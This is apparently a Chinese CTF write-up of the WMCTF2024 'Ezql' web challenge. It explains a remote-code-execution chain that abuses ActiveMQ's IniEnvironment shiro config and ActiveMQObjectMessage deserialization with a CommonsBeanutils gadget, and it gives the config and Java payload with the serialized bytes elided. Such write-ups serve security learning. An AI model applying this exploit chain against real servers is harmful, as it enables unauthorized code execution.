WMCTF2024 复现

发布于 2024-09-19  650 次阅读


WMCTF2024 WP

Ezql

太难了,研究了两天还是没打出来,题目给的依赖没有Spring不能用构造打rce,想打toString,但是,又限制死了只能用构造器,因此给了jackson也打不了。
复现一下

image_mak

可以执行任意ql表达式,但是方法白名单限制死了,相当于用不了任何方法

image_mak

这里相当于隐式的一个任意对象toString,但是对象只能构造器构造出来,打不了jackson链子

可以构造任意对象,但是没有Spring依赖不能用ClassPathXmlApplicationContext,怎么打呢,可以看看这篇

CVE-2023-46604 ActiveMQ RCE不出网利用

题目给了activemq依赖,而org.apache.activemq.shiro.env.IniEnvironment正好可以通过单构造器来打RCE。

new出IniEnvironment时,参数传入shiro config,然后这会调用对象的所有getter和setter

例如:

[main]
user=com.just.User
info=com.just.Info
user.info=$info
user.info.username=anchor
user.info.password=123456

这里就会调用com.just.User.getInfo().setUsername('anchor')

也就是可以调用任意类的getter,setter方法,这里使用org.apache.activemq.command.ActiveMQObjectMessage#getObject()来打二次反序列化,在ActiveMQObjectMessage#getObject()中:
image_mak
会对getContent返回的字节进行反序列化,而getContent获取的是其祖先类Message的属性content:
image_mak
他是ActiveMQ工具类的ByteSequence类型的:
image_mak
因此我们可以将ActiveMQObjectMessage对象的content设为我们要反序列化的字节码ByteSequence对象,然后执行getObject打反序列化。如何传入我们的序列化数据字节数组呢?
在activemq的文档中有:
image_mak
Activemq传入shiro config时set属性遇到字节类型的属性的话,我们只需要给它序列化字节数据的base64,它会自动b64解码为字节数组,很人性化。

至于gadget的选择,题目有个CommonBeanutils库,本地测一下CB链,通了。
image_mak
观察ByteSequence类,需要设定三个属性:数据data,起始位置offset,数据长度length。
image_mak
并且这些属性都有各自的setter
因此构造config为:

[Main]
bs=org.apache.activemq.util.ByteSequence
bs.data=rO0AB...eA== (CB链子payload的base64)
bs.offset=0
bs.length=1344
message=org.apache.activemq.command.ActiveMQObjectMessage
message.content=$bs
message.trustAllPackages=true
message.object.haha=haha

注意message.trustAllPackages=true来避免安全策略。payload为

new IniEnvironment(
        "\nbs=org.apache.activemq.util.ByteSequence\n" +
        "bs.data=rO0AB...eA== (CB链子payload的base64)\n" +
        "bs.offset=0\n"+
        "bs.length=1344\n"+
        "message=org.apache.activemq.command.ActiveMQObjectMessage\n" +
        "message.content=$bs\n" +
        "message.trustAllPackages=true\n"+
        "message.object.haha=haha")

base64传入靶机,成功
image_mak

A web ctfer from 0RAYS
最后更新于 2024-09-19